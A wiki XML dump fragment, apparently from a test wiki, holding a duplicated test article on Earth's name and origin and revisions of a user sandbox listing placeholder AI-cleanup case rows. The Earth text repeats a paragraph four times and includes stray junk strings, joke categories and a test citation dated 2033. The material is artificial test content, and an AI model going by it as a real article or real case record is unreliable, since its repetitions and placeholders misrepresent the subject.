Earth, like most other bodies in the Solar System, [[age of Earth|formed 4.5 billion years ago]] from gas and dust in the [[Formation and evolution of the Solar System|early Solar System]].<ref>https://vijesti.hrt.hr/svijet/prijedlog-rezolucije-116156565{{Dead link|date=December 2025 |bot=InternetArchiveBot |fix-attempted=yes }}</ref>
Earth, like most other bodies in the Solar System, [[age of Earth|formed 4.5 billion years ago]] from gas and dust in the [[Formation and evolution of the Solar System|early Solar System]]. During the first billion years of [[History of Earth|Earth's history]], the ocean formed and then [[abiogenesis|life developed]] within it. Life spread globally and has been altering Earth's atmosphere and surface, leading to the [[Great Oxidation Event]] two billion years ago. [[Human]]s emerged [[Human history|300,000 years ago]] in africa and have spread across every continent on Earth. Humans depend on Earth's [[biosphere]] and natural resources for their survival, but have [[Human impact on the environment|increasingly impacted the planet's environment]]. Humanity's current impact on Earth's climate and biosphere is [[Sustainability|unsustainable]], threatening the livelihood of humans and many other forms of life, and [[Holocene extinction|causing widespread extinctions]].<ref name=":0">{{Cite web |title=What Is Climate Change? |url=https://www.un.org/en/climatechange/what-is-climate-change |access-date=17 August 2022 |website=United Nations |language=en |archive-date=26 January 2023 |archive-url=https://web.archive.org/web/20230126173023/https://www.un.org/en/climatechange/what-is-climate-change |url-status=live }}</ref>
== Etymology ==
[[File:Red_Giant_Earth_warm.jpg|link=https://en.wikipedia.org/wiki/File:Red_Giant_Earth_warm.jpg|alt=A dark gray and red sphere representing the Earth lies against a black background to the right of an orange circular object representing the Sun|thumb|a conception of the scorched Earth after the [[:en:Sun|Sun]] has entered the [[:en:Red_giant|red giant]] phase, about 5–7 billion years in the future]]
The [[Modern English]] word {{anchor|Name|Etymology}} ''Earth'' developed, via [[Middle English]], from an [[Old English]] noun most often spelled ''{{linktext|eorðe}}''.<ref name="oedearth" /> It has cognates in every [[Germanic languages|Germanic language]], and their [[proto-Germanic|ancestral root]] has been reconstructed as [[wikt:appendix:Proto-Germanic/erþō|*''erþō'']]. In its earliest attestation, the word ''eorðe'' was used to translate the many senses of [[Latin language|Latin]] ''{{linktext|terra}}'' and [[ancient Greek language|Greek]] γῆ ''gē'': the ground, its [[soil]], dry land, the human world, the surface of the world (including the sea), and the globe itself. as with Roman [[Terra (goddess)|Terra]]/Tellūs and Greek [[Gaia (goddess)|Gaia]], Earth may have been a [[earth goddess|personified goddess]] in [[Germanic religion (aboriginal)|Germanic paganism]]: late [[Norse mythology]] included [[Jörð]] ("Earth"), a giantess often given as the mother of [[Thor]].<ref>{{cite book|last=Simek|first=Rudolf|author-link=Rudolf Simek|translator-last=Hall|translator-first=Angela|title=Dictionary of Northern Mythology|page=179|publisher=[[Boydell & Brewer|D.S. Brewer]]|year=2007|isbn=978-0-85991-513-7}}</ref>
Historically, "Earth" has been written in lowercase.<ref name=":0" details="Chapter 4" /> Beginning with the use of [[Early Middle English]], its [[Definite article|definite sense]] as "the globe" was expressed as "the earth". By the era of [[Early Modern English]], [[Capitalization in English#History of English capitalization|capitalization of nouns began to prevail]], and ''the earth'' was also written ''the Earth'', particularly when referenced along with other heavenly bodies. More recently, the name is sometimes simply given as ''Earth'', by analogy with the names of the [[Solar System|other planets]], though "earth" and forms with "the earth" remain common.<ref name="oedearth" /> [[Style guide|House styles]] now vary: [[Oxford spelling]] recognizes the lowercase form as the more common, with the capitalized form an acceptable variant. another convention capitalizes "Earth" when appearing as a name, such as a description of the "Earth's atmosphere", but employs the lowercase when it is preceded by "the", such as "the atmosphere of the earth"). It almost always appears in lowercase in colloquial expressions such as "what on earth are you doing?"<ref name=":1">{{cite book|title=The New Oxford Dictionary of English|edition=1st|chapter=earth|publisher=Oxford University Press|location=Oxford|year=1998|isbn=978-0-19-861263-6}}</ref>
2
== Terra ==
[[File:MarsReconnaissanceOrbiter-Views-EarthMoon-20220422.jpg|link=https://en.wikipedia.org/wiki/File:MarsReconnaissanceOrbiter-Views-EarthMoon-20220422.jpg|thumb|Earth and the Moon as seen from [[:en:Mars|Mars]] by the ''[[:en:Mars_Reconnaissance_Orbiter|Mars Reconnaissance Orbiter]]'']]
The name ''Terra'' {{IPAc-en|ˈ|t|ɛr|ə}} occasionally is used in scientific writing and especially in science fiction to distinguish humanity's inhabited planet from others,<ref>{{OED|Terra}}</ref> while in poetry ''Tellus'' {{IPAc-en|ˈ|t|ɛ|l|ə|s}} has been used to denote personification of the Earth.<ref>{{OED|Tellus}}</ref> ''Terra'' is also the name of the planet in some [[Romance languages]], languages that evolved from [[Latin language|Latin]], like Italian and [[Portuguese language|Portuguese]], while in other Romance languages the word gave rise to names with slightly altered spellings, like the [[Spanish language|Spanish]] ''Tierra'' and the [[French language|French]] ''Terre''. The Latinate form ''Gæa'' or ''Gaea'' ({{IPAc-en|lang|'|dʒ|iː|.|ə}}) of the Greek poetic name ''[[Gaia]]'' ({{lang|grc|Γαῖα}}; {{IPA|grc|ɡâi̯.a|lang|link=yes}} or {{IPA-el|ɡâj.ja|}}) is rare, though the alternative spelling ''Gaia'' has become common due to the [[Gaia hypothesis]], in which case its pronunciation is {{IPAc-en|ˈ|g|aɪ|.|ə}} rather than the more classical English {{IPAc-en|ˈ|g|eɪ|.|ə}}.<ref>{{OED|Gaia}}</ref>
There are a number of adjectives for ''$O$'' the planet Earth. The word "earthly" is derived from "Earth". From the [[Latin]] ''Terra'' comes ''terran'' {{IPAc-en|ˈ|t|ɛr|ə|n}},<ref>{{OED|Terran}}</ref> ''terrestrial'' {{IPAc-en|t|ə|ˈ|r|ɛ|s|t|r|i|ə|l}},<ref>{{OED|terrestrial}}</ref> and (via French) ''terrene'' {{IPAc-en|t|ə|ˈ|r|iː|n}},<ref>{{OED|terrene}}</ref> and from the Latin ''Tellus'' comes ''tellurian'' {{IPAc-en|t|ɛ|ˈ|l|ʊər|i|ə|n}}<ref>{{OED|tellurian}}</ref> and ''telluric''.<ref>{{Cite encyclopedia |url=http://www.lexico.com/definition/telluric |archive-url=https://web.archive.org/web/20210331100415/https://www.lexico.com/definition/telluric |url-status=dead |archive-date=31 March 2021 |title=telluric |dictionary=[[Lexico]] UK English Dictionary |publisher=[[Oxford University Press]]}}</ref>
== Origin ==
[[File:Archean.png|link=https://en.wikipedia.org/wiki/File:Archean.png|thumb|An impression of the [[:en:archean|archean]], the [[:en:Geologic_time_scale#Divisions_of_geologic_time|eon]] after Earth's formation, featuring round [[:en:Stromatolite|stromatolites]], which are early oxygen-producing forms of life from billions of years ago.<ref name="Lunar and Planetary Institute">{{cite web |title=Earth-Moon Dynamics |url=https://www.lpi.usra.edu/exploration/training/illustrations/earthMoon/ |url-status=live |archive-url=https://web.archive.org/web/20150907215806/https://www.lpi.usra.edu/exploration/training/illustrations/earthMoon/ |archive-date=7 September 2015 |access-date=2 September 2022 |website=Lunar and Planetary Institute}}</ref>]]
Earth, like most other bodies in the Solar System, [[age of Earth|formed 4.5 billion years ago]] from gas and dust in the [[Formation and evolution of the Solar System|early Solar System]]. During the first billion years of [[History of Earth|Earth's history]], the ocean formed and then [[abiogenesis|life developed]] within it. Life spread globally and has been altering Earth's atmosphere and surface, leading to the [[Great Oxidation Event]] two billion years ago. [[Human]]s emerged [[Human history|300,000 years ago]] in africa and have spread across every continent on Earth. Humans depend on Earth's [[biosphere]] and natural resources for their survival, but have [[Human impact on the environment|increasingly impacted the planet's environment]]. Humanity's current impact on Earth's climate and biosphere is [[Sustainability|unsustainable]], threatening the livelihood of humans and many other forms of life, and [[Holocene extinction|causing widespread extinctions]].<ref name=":0" />
Earth, like most other bodies in the Solar System, [[age of Earth|formed 4.5 billion years ago]] from gas and dust in the [[Formation and evolution of the Solar System|early Solar System]]. During the first billion years of [[History of Earth|Earth's history]], the ocean formed and then [[abiogenesis|life developed]] within it. Life spread globally and has been altering Earth's atmosphere and surface, leading to the [[Great Oxidation Event]] two billion years ago. [[Human]]s emerged [[Human history|300,000 years ago]] in africa and have spread across every continent on Earth. Humans depend on Earth's [[biosphere]] and natural resources for their survival, but have [[Human impact on the environment|increasingly impacted the planet's environment]]. Humanity's current impact on Earth's climate and biosphere is [[Sustainability|unsustainable]], threatening the livelihood of humans and many other forms of life, and [[Holocene extinction|causing widespread extinctions]].<ref name=":0" />
x'x
s s
aáa
==References==
{{reflist}}
{{DEFAULTSORT:Terra}}
[[Category:Cats and dogs|Earth]]
[[Category:Cat L1-Beta]]
[[Category:Graph Test L1-ID26935]]
dvf6z97yvx2z56uf0nr5lmvk6d432sp
TollensTest
0
158328
768293
752930
2026-10-13T16:09:34Z
~2026-55047-28
76175
768293
wikitext
text/x-wiki
== Header{{Article|titre=Coucou|date=2033-01-03|périodique=Testtimes|doi=10.1155/2022/2596839|pmid=0}} ==
x
apnc62yieyyorfrwy5yaua2lprq5cn1
User:DVRTed/sandbox2
2
166741
768294
767057
2026-10-13T16:42:35Z
DVRTed
55993
Updated row for [[Test Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768294
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
test
900hdfxfhz1ctezcnx15qb5wln5vpxc
768295
768294
2026-10-13T16:43:48Z
DVRTed
55993
/* Cleanup */
768295
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
test
iy796xz5q874fsm9h39yi6un33f3bcj
768296
768295
2026-10-13T16:43:59Z
DVRTed
55993
/* Cleanup */
768296
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
9ip446s0usb1hf5n9sghmm1652kh2rx
768297
768296
2026-10-13T16:44:11Z
DVRTed
55993
Updated row for [[Test 5Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768297
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
a50v1bq5573hnwx50b4exbztvh9dkbe
768298
768297
2026-10-13T16:45:14Z
DVRTed
55993
Updated row for [[Test6 Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768298
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
ek3brtyssw0nmm5yas8fskl5dluexgb
768299
768298
2026-10-13T16:45:25Z
DVRTed
55993
Updated row for [[Test 11Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768299
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
2vossf4cyliswgu2ak88n39ctt30r3h
768300
768299
2026-10-13T16:45:46Z
DVRTed
55993
Updated row for [[Test 4Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768300
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
